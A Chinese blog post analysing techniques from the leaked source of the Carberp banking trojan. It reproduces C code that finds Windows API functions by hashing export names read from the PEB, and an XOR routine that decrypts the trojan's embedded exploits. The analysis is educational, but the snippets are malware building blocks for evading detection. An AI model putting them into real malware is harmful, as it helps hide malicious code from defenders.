Chinaunix首页 | 论坛 | 博客
  • 博客访问: 87264
  • 博文数量: 12
  • 博客积分: 0
  • 博客等级: 民兵
  • 技术积分: 200
  • 用 户 组: 普通用户
  • 注册时间: 2013-01-23 09:57
文章分类

全部博文(12)

文章存档

2015年(11)

2014年(1)

我的朋友

分类: 网络与安全

2015-07-28 00:29:30

1. Carberp没有使用标准C/C++库函数,自己实现了字符串操作,内存分配等功能函数。
2. Carberp调用Windows Api的方式:
    利用FS:[0x30]获取PEB,从PEB中获取当前进程加载的模块(kernel32.dll,user32.dll,ntdll.dll等等)的基地址,然后根据基地址获取模块的导出地址列表,遍历导出地址列表的每个函数,对比函数名的hash值,从而获取指定的函数,Carberp并没有使用函数名字符串,而是事先计算了函数名的hash值,然后计算导出列表中的每个函数名hash值,一致则找到了指定的函数。
    

点击(此处)折叠或打开

  1. LPVOID GetApiAddr(HMODULE Module, DWORD ProcNameHash)
  2. {
  3.     // 获取模块的PE内存映像的IMAGE_OPTIONAL_HEADER地址
  4.     PIMAGE_OPTIONAL_HEADER poh = (PIMAGE_OPTIONAL_HEADER)( (char*)Module + ( (PIMAGE_DOS_HEADER)Module)->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER));

  5.     // 获取导出地址表的地址
  6.     PIMAGE_EXPORT_DIRECTORY Table = (IMAGE_EXPORT_DIRECTORY*)RVATOVA(Module,    poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress );

  7.     DWORD DataSize = poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;

  8.     // 获取函数的ordinal值,它就是函数在AddressOfFunctions数组的下标
  9.     int Ordinal = 0;

  10.     if ( HIWORD(ProcNameHash) == 0 )
  11.     {
  12.         //
  13.         Ordinal = (LOWORD(ProcNameHash)) - Table->Base;
  14.     }
  15.     else
  16.     {
  17.         PDWORD NamesTable = (DWORD*)RVATOVA(Module, Table->AddressOfNames );
  18.         PWORD OrdinalTable = (WORD*)RVATOVA(Module, Table->AddressOfNameOrdinals);

  19.         unsigned int i;
  20.         char * ProcName;
  21.         for ( i = 0; i < Table->NumberOfNames; i++)
  22.         {
  23.             ProcName = (char*)RVATOVA(Module, *NamesTable);
  24.             if (CalcHash(ProcName) == ProcNameHash )
  25.             {
  26.                 Ordinal = *OrdinalTable;
  27.                 break;
  28.             }
  29.             NamesTable++;
  30.             OrdinalTable++;
  31.         }
  32.     }

  33.     if (Ordinal == 0)
  34.         return NULL;

  35.     // 获取AddressOfFunctions数组的地址
  36.     PDWORD AddrTable = (PDWORD)RVATOVA(Module, Table->AddressOfFunctions);
  37.     DWORD RVA         = AddrTable[Ordinal];
  38.     DWORD Ret         = (DWORD)RVATOVA(Module, RVA );

  39.     /*
  40.         导出表一个特别聪明的地方是它能将一个导出函数转发(Forwarding)到其它DLL。例如在Windows NT?、Windows? 2000和Windows XP中,
  41.         KERNEL32中的HeapAlloc函数被转发到了NTDLL导出的RtlAllocHeap函数上。转发是在链接时通过.DEF文件中的EXPORTS节中的一种特殊语法
  42.         形式来实现的。对于HeapAlloc这个例子,KERNEL32的.DEF文件一定包含下面的内容: EXPORTS ??? HeapAlloc = NTDLL.RtlAllocHeap
  43.         怎样才能区别转发的函数与正常导出的函数呢?这需要一些技巧。通常EAT中包含的是导出符号的RVA。但是如果这个RVA位于导出表中
  44.         (通过相应的DataDirectory中的VirtualAddress域和Size域进行判断),那么它就是转发的。
  45.         当转发一个符号时,它的RVA很明显不能是当前模块中的代码或数据的地址。实际上,它的RVA指向一个由DLL和转发到的符号名称组成的字符串。
  46.         在前面的例子中,这个字符串就是NTDLL.RtlAllocHeap。
  47.     */
  48.     if (Ret > (DWORD)Table && (Ret - (DWORD)Table < DataSize))
  49.         Ret = (DWORD)GetForvardedProc((PCHAR)Ret);

  50.     return (LPVOID)Ret;
  51. }

3.  Carberp Xor 加密(解密):
    Carberp代码中展现的exploit是经过Xor加密过后的密文,在使用之前先进行Xor解密:
    

点击(此处)折叠或打开

  1. DWORD XORCrypt::Crypt(PCHAR Password, LPBYTE Buffer, DWORD Size)
  2. {
  3.     DWORD a = 0, b = 0;
  4.     a = 0;

  5.     while (a < Size)
  6.     {
  7.         b = 0;

  8.         while (Password[b])
  9.         {
  10.             // 解密的秘钥随着密文的位置而改变,从而避免所有密文使用相同的秘钥解密
  11.             Buffer[a] ^= (Password[b] + (a * b));
  12.             b++;
  13.         }
  14.         a++;
  15.     }

  16.     return a;
  17. }


阅读(2302) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~